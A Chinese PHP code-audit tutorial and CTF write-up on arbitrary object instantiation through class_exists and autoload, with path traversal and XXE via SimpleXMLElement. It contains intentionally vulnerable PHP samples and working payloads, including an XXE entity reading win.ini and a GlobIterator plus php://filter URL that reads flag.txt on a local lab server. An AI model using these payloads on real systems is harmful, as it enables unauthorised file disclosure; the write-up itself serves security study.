PHP代碼審計03之實例化任意對象漏洞

前言

根據紅日安全寫的文章,學習PHP代碼審計的第三節內容,題目均來自PHP SECURITY CALENDAR 2017,講完相關知識點,會用一道CTF題目來加深鞏固。以前分別學習講解了in_array函數缺陷和filter_var函數缺陷,有興趣的能夠去看看:
PHP代碼審計01之in_array()函數缺陷
PHP代碼審計02之filter_var()函數缺陷php

漏洞分析

下面咱們看第一題,代碼以下:html

<?php
function __autoload($className) {
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller->render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this->template = $template;
    $this->variables = $variables;
  }

  public function render() {
    if ($this->variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}
?>

這段代碼有兩處漏洞,第一處是文件包含漏洞,如今看代碼第八行,這裏用到了class_exists()函數來判斷用戶傳過來的控制器是否存在。如今看一下PHP手冊對這個函數的解釋。

經過看上面的解釋,咱們知道,若是不指定第二個參數,默認狀況下,若是本程序存在__autoload()函數,若是檢查的類不存在,那麼class_exists()函數就會去調用它。這道題的文件包含漏洞,就出如今這裏。若是PHP版本在5~5.3之間,就能夠使用路徑穿越來包含任意文件,好比類名爲../../../../../etc/passwd的查找,那麼將查看passwd的內容。
第二處漏洞是在上面代碼的第10行,咱們發現實例化的類名和傳入的參數都是咱們能夠控制的,因此咱們能夠經過這個漏洞調用PHP代碼庫的任意構造構造函數。好比能夠使用PHP內置類SimpleXMLElement來進行XXE攻擊,看一下PHP手冊對這個函數的解釋:

功能就是用來表示XML文檔中的元素。詳細的請看下面,重點是第六條,下面要用到它。web

  1. SimpleXMLElement::addAttribute-向SimpleXML元素添加屬性
  2. SimpleXMLElement::addChild-向XML節點添加子元素
  3. SimpleXMLElement::asXML-基於SimpleXML元素返回格式良好的XML字符串
  4. SimpleXMLElement::attributes-標識元素的屬性
  5. SimpleXMLElement::children-查找給定節點的子節點
  6. SimpleXMLElement::__construct-建立新的SimpleXMLElement對象
  7. SimpleXMLElement::count-計算元素的子級
  8. ExtSimpleNamespaces::GetDocElement-在文檔命名空間中聲明
  9. SimpleXMLElement::getName-獲取XML元素的名稱
  10. SimpleXMLElement::getNamespaces-返回文檔中使用的命名空間
  11. SimpleXMLElement::registerXPathNamespace-爲下一個XPath查詢建立前綴/ns上下文
  12. SimpleXMLElement::saveXML-別名SimpleXMLElement::asXML
  13. SimpleXMLElement::__toString -返回字符串內容
  14. SimpleXMLElement::xpath-對XML數據運行XPath查詢

爲了便於理解,用一小段代碼來講明:安全

<?php
$xml = <<<EOF
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///C:Windows/win.ini">
]>
<x>&xxe;</x>
EOF;
$xml_class= new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>

查看系統win.ini文件,效果以下圖:
函數

CTF練習

經過上面的學習分析,是否是對實例化漏洞和XXE漏洞有了一點點的理解呢?下面咱們來作一道CTF題目來練習一下吧,這道題考察的就是實例化漏洞和XXE漏洞。如今咱們看具體代碼:學習

<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);
$classname = isset($_GET['name']) ? $_GET['name']:null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if (class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'$value'.'<br>';
}
?>

咱們把注意力放在class_exists()函數這裏,上面咱們說過了,這個函數它會去檢查類是否認義,若是不存在的話,就會調用程序中的 __autoload 函數。咱們發現上面沒有__autoload 函數,是用spl_autoload_register註冊了和__autoload()差很少的,這裏輸出404信息。
咱們仔細看上面的代碼第12~16行,咱們發現這裏的類和類裏面的參數都是咱們能夠控制的,知足了上面我們提到的實例化漏洞。也就是說,咱們能夠調用PHP的內置類來完成咱們的攻擊。
先用GlobIterator類來尋找flag文件的名字,PHP手冊對這個類的構造函數定義以下:

經過上圖,咱們知道,第一個參數是必須的的,也就是搜索的文件名,第二個參數爲選擇文件的哪一個信息做爲鍵名。我們先搜一下.txt文件。咱們構造payload以下:this

http://localhost/DMSJ/day3/index.php?name=GlobIterator&param=*.txt

效果以下圖,咱們發現了flag.txt的文件。

下一步,就是查看這個文件,獲取flag。用到的內置類爲SimpleXMLElement,上面簡單的提到了一下,如今就來使用它來進行XXE攻擊來查看flag.txt文件的內容。這裏須要注意一點:要結合PHP流的使用,由於當文件中存在: < > & ' " 等符號時會致使XML解析錯誤。咱們用PHP流進行base_64編碼輸出就能夠了。
什麼是PHP流呢?這裏簡單說一下,PHP提供了php://的協議容許訪問PHP的輸入輸出流,標準輸入輸出和錯誤描述符,內存中、磁盤備份的臨時文件流以及能夠操做其餘讀取寫入文件資源的過濾器,主要提供以下訪問方式來使用這些封裝器:編碼

php://stdin
php://stdout
php://stderr
php://input
php://output
php://fd
php://memory
php://temp
php://filter

我們用的最多的是php://input、php://output、php://filter。這裏我們就用php://filter,它是一個文件操做的協議,能夠對文件進行讀寫操做,具體看下錶:

read參數值可爲:spa

  • string.strip_tags: 將數據流中的全部html標籤清除
  • string.toupper: 將數據流中的內容轉換爲大寫
  • string.tolower: 將數據流中的內容轉換爲小寫
  • convert.base64-encode: 將數據流中的內容轉換爲base64編碼
  • convert.base64-decode:解碼
    這樣是否是清楚許多了呢?那就構造以下payload:
http://localhost/DMSJ/day3/index.php?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/phpstudy_pro/WWW/DMSJ/day3/flag.txt">]><x>%26xxe;</x>&param2=2

上面payload中的param2=2,實際上這裏2對應的模式是 LIBXML_NOENT,具體效果以下圖:

解碼一下,以下:

咱們拿到了flag。3d

小結

經過這篇文章的講解,是否是對實例化漏洞和XXE漏洞有了更多的理解呢?下一篇文章會對strpos使用不當引起漏洞進行學習和分析,一塊兒努力吧!

相關文章
相關標籤/搜索